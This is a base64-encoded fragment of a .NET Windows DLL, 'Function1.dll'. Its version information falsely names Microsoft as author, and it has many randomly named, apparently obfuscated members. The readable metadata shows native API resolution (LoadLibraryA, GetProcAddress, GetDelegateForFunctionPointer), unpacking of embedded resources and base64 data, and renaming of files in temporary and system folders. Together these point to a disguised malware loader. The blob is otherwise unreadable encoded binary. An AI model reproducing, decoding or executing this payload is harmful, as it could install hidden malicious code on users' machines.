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 - ewdHBCwAewfvA0ECQwuaBCwASQufBHkBVQuoBHkBaguoBHkBfQuuBAEBewe1BAEBlwu7BPkAoAvBBMEB - qgvOAEkBewfHBEkBvAvOBEkBxgvSBHkB0AvYBHkB2AvUAKEBewc6A6EB5QveBEkB9wvjBGEBBgy2AEkB - EwzKACkCewfpBDECHQzvBDECKQz1BDEBmwf9BCkCMwwSASwAOgwCBSwAPgzKAEkBSAwTAEECTgyaBDQA - ewcTADQAUww+BaEBXAzUADECZQxIBTQAOgxOBTQAPgzKADQAbgxUBTQAdwxaBQEBewcTAMEBgAzKAHEB - ewcTAPEBkgyKBXEBiAfFAHEBjwfKAHEBmwfUAFkAoQyqBUQAewcTAEwAuAboAEQAsAzwAEQAugxOBREC - xAzPBVkB4gwHBgkB7gwHBlkBAg0SASkCEw0LBlEBGg0RBjEAHw0YBkkALg0WAhkAOQ0dBhkASQ03AEEB - Ww0kBnEAYA0nBnEAaA0zBkEBewfvAzkCewc6A0EBewe2AEEBcA1JBkEBYA3KAIEAfA1YBnEAZQxoBjEC - hg3vBNkAkA15BjECKQx/BtEAoQ2FBskAewcTAC4AawBOAy4AcwB4Ay4AewCFAy4AUwDHAi4AWwDHAi4A - YwA/Ay4AkwDYAy4AmwDmAy4AowD5AS4AgwCkAy4AQwDHAi4AiwDFA0AACwDqAUAAEwD5AUMACwDqAUMA - GwD+AWMAGwD+AWMACwDqAYAAEwD5AYMAGwD+AYMAIwD5AYMAKwD5AaAAEwD5AaMAKwD5AaMAMwD5AaMA - IwD5AcAAEwD5AcMAMwD5AcMAIwD5AcMAKwD5AcMAGwAcAuAAEwD5AUMCOwBdAkMCCwDqAWMCQwDHAmMC - CwDqAaMDGwDXAqMDSwD5AaMDCwAxA+AEEwD5AeAECwDqAQAFEwD5AQAFCwDqASAFCwDqASAFEwD5AUAF - EwD5AUAFCwDqAWAFCwDqAWAFEwD5AYAFEwD5AaAFEwD5AcAFEwD5AcAFCwDqAeAFEwD5AScA+wArAPsA - QwA3AVUANwFnADcBcQA3AbMANwHbADcBEAQVBBoEHwQkBCkETwRcBAoFFAUfBWEFbwV7BYYFjwWTBZkF - nQW+BdgFcwYdAAEAAAAKC9ICAgBYAAMAPwD0A/sDAgQJBFUEOAWiBbAFtwXHBUMBYwCkBwEAQwFlALYH - AQAEgAAAAQAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAQAZAAAAAAAIAAAAAAAAAAAAAAAKACIA - AAAAAAIAAAAAAAAAAAAAAAEAOAAAAAAAAAAAAAEAAABIAAAAuAAAAAIAAABmAAAACgAJAAsACQAMAAkA - DQAJAA4ACQAPAAkAEAAJABEACQASAAQAEwAEABUAFAAWABQAFwAUABgAFAAZABQAGgAUABsAFAAcABQA - AAAQACYAuAYAABAAWQASCwAAAABbABILAAAAAGcAEgufAKUFnwDKBWYALgZmADoGZgA/BmYARAZmAE4G - ZgBTBmYAYwZmAG4GAEZ1bmN0aW9uMQBGdW5jdGlvbjEuZGxsAG1zY29ybGliAE1pY3Jvc29mdC5WaXN1 - YWxCYXNpYwBTeXN0ZW0Aa2VybmVsMzIARnVuY3Rpb24xLlJlc291cmNlcy5yZXNvdXJjZXMA4oCH4oCI - 4oCJ4oCC4oCI4oCL4oCD4oCE4oCF4oCA4oCJ4oCC4oCIAEFwcGxpY2F0aW9uQmFzZQBNaWNyb3NvZnQu - VmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBVc2VyAFByb2plY3REYXRhAE1pY3Jvc29mdC5W - aXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAENvbXB1dGVy - AE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2VzAFNlcnZlckNvbXB1dGVyAEhpZGVNb2R1bGVOYW1l - QXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEZpbGVTeXN0ZW1Qcm94eQBNaWNyb3Nv - ZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcwBDb250ZXh0VmFsdWVgMQBNaWNyb3NvZnQuVmlzdWFsQmFz - aWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABBY3RpdmF0b3IAQXJyYXkAQXN5bmNDYWxsYmFjawBCaXRDb252 - ZXJ0ZXIAQm9vbGVhbgBCdWZmZXIAQnl0ZQBDaGFyAEdlbmVyYXRlZENvZGVBdHRyaWJ1dGUAU3lzdGVt - LkNvZGVEb20uQ29tcGlsZXIARGljdGlvbmFyeWAyAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAElF - bnVtZXJhYmxlYDEATGlzdGAxAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBTeXN0ZW0uQ29tcG9uZW50 - TW9kZWwARWRpdG9yQnJvd3NhYmxlU3RhdGUAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UAU3lzdGVtLkNv - bmZpZ3VyYXRpb24AU2V0dGluZ3NCYXNlAENvbnZlcnQARGVsZWdhdGUARGVidWdnZXJIaWRkZW5BdHRy - aWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUAU3RhY2tG - cmFtZQBTdGFja1RyYWNlAEVudmlyb25tZW50AEV4Y2VwdGlvbgBDdWx0dXJlSW5mbwBTeXN0ZW0uR2xv - YmFsaXphdGlvbgBJQXN5bmNSZXN1bHQASW50MTYASW50MzIASW50NjQASW50UHRyAEJpbmFyeVJlYWRl - cgBTeXN0ZW0uSU8ARmlsZQBQYXRoAFN0cmVhbQBNdWx0aWNhc3REZWxlZ2F0ZQBPYmplY3QAQXNzZW1i - bHkAU3lzdGVtLlJlZmxlY3Rpb24AQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAEFzc2VtYmx5Q29weXJp - Z2h0QXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lv - bkF0dHJpYnV0ZQBBc3NlbWJseU5hbWUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5VGl0 - bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUATWVtYmVySW5mbwBNZXRob2RCYXNl - AFJlc291cmNlTWFuYWdlcgBTeXN0ZW0uUmVzb3VyY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRy - aWJ1dGUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxlckdlbmVyYXRlZEF0dHJp - YnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBSdW50aW1lSGVscGVycwBTdXBwcmVzc0ls - ZGFzbUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2 - aWNlcwBHdWlkQXR0cmlidXRlAE1hcnNoYWwAUnVudGltZU1ldGhvZEhhbmRsZQBSdW50aW1lVHlwZUhh - bmRsZQBTdHJpbmcARW5jb2RpbmcAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBNb25pdG9yAFN5c3Rl - bS5UaHJlYWRpbmcAVHlwZQBVSW50MTYAVUludDMyAFVJbnQ2NABWb2lkADxNb2R1bGU+AAIAAwAFAAYA - CAAOAA8AAuKAgABGdWNrAGRxb2l1ZGtmbnF4cmdzdHZzYQBmYmR3bmVidmZmZ3ZudHlseABmZmVjYndr - ZWtocGVyb3ZmZXIAaHpicnd5emVwaGVzemp6egBrcnpxcHJjcXppenZyZmppYQBueXZ6ZGFzcWRxZWpi - Z29ib2NwAHR4aWpuYW9jcGlmc2F1bnMAdnFyd3dmaHl6YXJob3VxbGFvAE15U2V0dGluZ3MARnVuY3Rp - b24xLk15AC5jdG9yAC5jY3RvcgBFcXVhbHMAR2V0SGFzaENvZGUAVG9TdHJpbmcATG9hZExpYnJhcnlB - AG5hbWUAR2V0UHJvY0FkZHJlc3MAaGFuZGxlAHJ4cWJ6bHRvZmVxenBhZ3gAbWV0aG9kAFlvdQB4ZmVx - cGt5ZWpxcHdkdGxybHFpaABHZXRiYWNrAGlucHV0AFRhcmdldE9iamVjdABUYXJnZXRNZXRob2QAQmVn - aW5JbnZva2UAdXFyZ2hvanphZG53enN6bHgAdHhlcGlkc2xjZ2JxcXpwZ2h5cG8ARGVsZWdhdGVDYWxs - YmFjawBEZWxlZ2F0ZUFzeW5jU3RhdGUARW5kSW52b2tlAERlbGVnYXRlQXN5bmNSZXN1bHQASW52b2tl - AG5zYWFheXl4aXd4dXRhZGdzYWFvAHlhZWxnc3l5dXVrenRycXZhaXIAY2V3bHppcHpzdmd5aXp0d2lr - AGlud3d4cndxaWRqcWV1eXhrb29kAHdmb29qdnZiYm5nbHNjZ3hxAGh0aWVseXZkZGZhZGtudGd6AGtr - cnV0d29kZWlocHRxandsaQBueGdzdHBvZmF1aGZjanJlaXJvcQBsempnY3JvcHhqdWNqemhydQBjeGRi - dWR5eWx3dm92cGlremd2dgByeWNnd3dneGFycmZrc2h4AG5ncmpsdWxkdmNrcWxmeGRrc3JxAGVnd2Fq - Z2ZqaGh5eXRmcHBkcGQAZXR6Y3hraG9xcW5keHRjcQB6ZWt6eGl6YnpnbnNydGVoAHdsZ3RxYmRxZ2Fm - aW9sd2t6bABxdXZ3dGh3d2pndnVob2t4bmViAGZndXh3enBpZXBqaWhha3Vya3BmAHZjYWtydmJodndo - dWNlYXFlcWJ1AG5pdmhqdGpza2lrcHZqbHhydm8Aa3Rpd3Fsb3V1cWtzaXRiZmZ3AGtpdHp5dmNuc2t0 - bmVoY3d5cQBodmNwdGpodWVra3RpZXBoZWZiZAB5dXp3Zm9ndWdrd2l4cW5qb2JkawBqb3dweGRqd3Fq - dWhvZ3Fyc3hkcwBmcHZ4ZXprYmNkcnlucnZya2x4AHRmd3lrc2FiZmNlcXV1ZW50ZmtpAHJycnJ4b3Nl - bnllamZzbmlycmh5AHJlZm9mYmlrdndiYWhrd3VjbGoAdmRldWFkbGpoY2FwZG93awBkZWZhdWx0SW5z - dGFuY2UAZ2V0X0RlZmF1bHQARGVmYXVsdABUAFJlZmVyZW5jZUVxdWFscwBHZXRUeXBlRnJvbUhhbmRs - ZQBnZXRfQXNzZW1ibHkARW50ZXIAVHJ5R2V0VmFsdWUAR2V0RXhlY3V0aW5nQXNzZW1ibHkAR2V0Q2Fs - bGluZ0Fzc2VtYmx5AEdldE1hbmlmZXN0UmVzb3VyY2VTdHJlYW0AR2V0RnJhbWUAR2V0TWV0aG9kAGdl - dF9EZWNsYXJpbmdUeXBlAFJlYWRJbnQxNgBSZWFkQnl0ZXMAR2V0TmFtZQBnZXRfRnVsbE5hbWUAR2V0 - UHVibGljS2V5VG9rZW4AZ2V0X0Jhc2VTdHJlYW0Ac2V0X1Bvc2l0aW9uAFJlYWRJbnQzMgBnZXRfVW5p - Y29kZQBHZXRTdHJpbmcASW50ZXJuAEFkZABnZXRfQ291bnQAQ2xvc2UARXhpdABBZGRSYW5nZQBnZXRf - TmFtZQBHZXRCeXRlcwBnZXRfSXRlbQBzZXRfSXRlbQBnZXRfTWV0YWRhdGFUb2tlbgBHZXRPYmplY3RW - YWx1ZQBDcmVhdGVJbnN0YW5jZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldERlbGVnYXRlRm9yRnVuY3Rp - b25Qb2ludGVyAEdldFRlbXBQYXRoAGdldF9TeXN0ZW1EaXJlY3RvcnkAR2V0RGlyZWN0b3J5TmFtZQBD - b25jYXQAQ29weQBnZXRfRmlsZVN5c3RlbQBSZW5hbWVGaWxlAFNldFByb2plY3RFcnJvcgBDbGVhclBy - b2plY3RFcnJvcgBaZXJvAFRvSW50MzIAVG9JbnQxNgBvcF9FeHBsaWNpdABCbG9ja0NvcHkAZ2V0X0FT - Q0lJAEZyb21CYXNlNjRTdHJpbmcAU3luY2hyb25pemVkAAAAHoSCA2XzJkymzxE9eBOMSAAIt3pcVhk0 - 4IkIsD9ffxHVCjoDIAABBwYVEkwBEgwHBhUSTAESCAcGFRJMARIJBwYVEkwBEkgDAAABBAAAEgwEAAAS - CAQAABIJBAAAEkgEAAASdAQGEoDpBAYSgI0FAAASgOkFAAASgI0GAAEBEoCNBwYVElECCA4EBhKApQMG - HQUCBgYCBggEAAEOCAgAAwEdBQgdBQgAAh0FHQUdBQMGEigDAAAKAwAAAgYAAQgSgSUDIAAKBCABAQoF - AAIICAgDAAAIBCABAhwDIAAIBSAAEoElAyAADgcQAQEeAB4ABzABAQEQHgAHBhUSKQETAAQgABMABQAB - GBAOASIGAAIYGBAOBxABAh4ADg4FAAECHQUEAAEODgUgAgEcGAsgBBKAkRgdCRI1HAYgAQISgJEGIAIC - GB0JAQIWIAwSgJEOEoEdGBgCCBgOHQUdGBI1HBEgCgIOEoEdGBgCCBgOHQUdGA0gBxKAkRgYGAgIEjUc - BiABGBKAkQggBRgYGBgICA8gBxKAkRgYEBgIEBgSNRwKIAMCEBgQGBKAkQogBQIYGBAYCBAYCSADEoCR - GBI1HAYgAQkSgJEEIAEJGA4gBxKAkRgYHQUJCBI1HAkgBQIYGB0FCQgKIAQSgJEYGBI1HAUgAgkYGAMG - EnQIAQABAAAAAAAFIAEBEWEEAQAAABcBAApNeVRlbXBsYXRlBzguMC4wLjAAAAUgAgEODkABADNTeXN0 - ZW0uUmVzb3VyY2VzLlRvb2xzLlN0cm9uZ2x5VHlwZWRSZXNvdXJjZUJ1aWxkZXIHNC4wLjAuMAAAYQEA - NFN5c3RlbS5XZWIuU2VydmljZXMuUHJvdG9jb2xzLlNvYXBIdHRwQ2xpZW50UHJvdG9jb2wSQ3JlYXRl - X19JbnN0YW5jZV9fE0Rpc3Bvc2VfX0luc3RhbmNlX18AAAAHIAQBDg4ODgUBAAAAAAQgAQECBAgAEnRZ - AQBLTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5FZGl0b3JzLlNldHRpbmdzRGVzaWduZXIuU2V0dGluZ3NT - aW5nbGVGaWxlR2VuZXJhdG9yCDEwLjAuMC4wAAAIAQACAAAAAAAEIAEBDg4BAAlNaWNyb3NvZnQAACkB - ACQ0NDFiNTIxYy1iYWI5LTQwM2EtOWY0NS0yNmExODExYjA5NWQAAAwBAAcxLjAuMC4xAAAeAQABAFQC - FldyYXBOb25FeGNlcHRpb25UaHJvd3MBIAEAG0NvcHlyaWdodCDCqSBNaWNyb3NvZnQgMjAxMQAAEgEA - DUZ1bmN0aW9uIE1haW4AAA0BAAhGdW5jdGlvbgAACAEACAAAAAAABCABAQgGFRJMARIMBhUSTAESCAYV - EkwBEgkGFRJMARJIBAcBEgwEBwESCAQHARIJBAcBEkgEBwESdAgHAhKA6RKA6QUAAgIcHAgAARKBJRGB - EQUgABKAvQcgAgEOEoC9BQcBEoCNBhUSUQIIDj0HIg4IEoC9EoC9EoCxCBKAgRJ9EoDlEoElAgYSgNEK - CB0FBggIHQUCAgIdBQgFCB0FCB0DCA4VElECCA4IBAABARwIIAICEwAQEwEFAAASgL0GIAESgLEOBSAC - AQgCBSABEn0IBSAAEoDlBiABARKAsQMgAAYFIAEdBQgFIAASgNEEIAAdBQUgABKAsQUgAQEdAwUAABKB - GQcgAw4dBQgIBCABDg4HIAIBEwATAQkHBwgICAgICAgKBwgFCAUJBwgFBRgHDAoSgL0VElkBBRKA0R0F - CAgICwgKEigFFRJZAQUJIAEBFRJVARMABSABHQUOBSABARMABSABEwAIBiACAQgTAA0HBBKAgRJ9EoDl - EoElCwcIHQgICAgICAgLCgcHHQgICAgICAgDBwECBAABHBwDBwEIBQcBEoElAwcBDgQHAR4AAh4ABAoB - HgAFEAEAHgAGFRIpARMABhUSTAETAAgHAxMAEwATAAITAAQKARMACAACEnEYEoElLgcfAhgOElQIElgI - HRgYHQUdCRJkEnAYGBgYEmASbAgIEmgIGBJcGBgIHQUdCAgDAAAOBQACDg4OBgADAQ4OAgQgABIlBgAB - ARKAiQIGGAYAAggdBQgECgESWAYAAgYdBQgECgESVAQKARJwBAoBEmAEAAEIGAQKARJcBAoBEmwKAAUB - EjEIEjEICAQKARJoBQABHQUIBAoBEmQFBwMODg4FAAEdBQ4FIAEOHQUGAAESaRJpABsHIAggCSACIAgg - CyADIAQgBSAAIAkgAiAIIAEDWAAAAAAASGEAAAAAAAAAAAAAamEAAAAgAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAFxhAAAAAAAAAAAAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIEAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAYAAADAAAAHwxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwADAAAA - KAAAgA4AAABIAACAEAAAAGAAAIAAAAAAAAAAAAAAAAAAAAIAAgAAAHgAAIADAAAAkAAAgAAAAAAAAAAA - AAAAAAAAAQAAfwAAqAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAwAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAA - 2AAAAAAAAAAAAAAAAAAAAAAAAQAAAAAA6AAAAAAAAAAAAAAAAAAAAAAAAQAAAAAA+AAAAAAAAAAAAAAA - AAAAAAAAAQAAAAAACAEAABihAADoAgAAAAAAAAAAAAAApAAAKAEAAAAAAAAAAAAAKKUAACIAAAAAAAAA - AAAAAEylAAAAAwAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA - ////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAd3d3d3d3d3d3d3d3d3dwBEREREREREREREREREREcAT/////////////////9HAE//// - //////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////Rw - BP/////////////////0cAT/////////////////9HAE//////////////////RwBP////////////// - ///0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT///////// - ////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//// - //////////////RwBP/////////////////0cASIiIiIiIiIiIiIiIiIhHAERERERERERERERERERERw - BExMTExMTExMTE7Ozkl0cATMzMzMzMzMzMzMzMzMxAAAREREREREREREREREREAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////////////////////8AAAAGAAAAB - gAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB - gAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAA8AAAAf///////////////8oAAAAEAAAACAAAAABAAQA - AAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAA - AAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAB3d3d3d3d3dERERERERER0////////hH - T///////+EdP///////4R0////////hHT///////+EdP///////4R0////////hHT///////+EdIiIiI - iIiIR0zMzMzMzMxHxERERERERMAAAAAAAAAAAAAAAAAAAAAA//8AAIAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAD//wAA//8AAAAAAQACACAgEAABAAQA6AIAAAIA - EBAQAAEABAAoAQAAAwAAAAADNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+ - AAABAAAAAQABAAAAAAABAAEAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIA - RgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsARgAgAA - AQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAAA8AgAAAQAwADAAMAAwADAANABiADAAAAA0AAoA - AQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAE0AaQBjAHIAbwBzAG8AZgB0AAAAPAAJAAEARgBpAGwA - ZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEYAdQBuAGMAdABpAG8AbgAAAAAAMAAIAAEARgBpAGwA - ZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAxAAAAPAAOAAEASQBuAHQAZQByAG4AYQBsAE4A - YQBtAGUAAABGAHUAbgBjAHQAaQBvAG4AMQAuAGQAbABsAAAAXAAbAAEATABlAGcAYQBsAEMAbwBwAHkA - cgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAATQBpAGMAcgBvAHMAbwBmAHQAIAAyADAA - MQAxAAAAAABEAA4AAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAARgB1AG4AYwB0AGkA - bwBuADEALgBkAGwAbAAAADwADgABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAARgB1AG4AYwB0AGkA - bwBuACAATQBhAGkAbgAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4A - MAAuADEAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4A - MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAA= - - - - 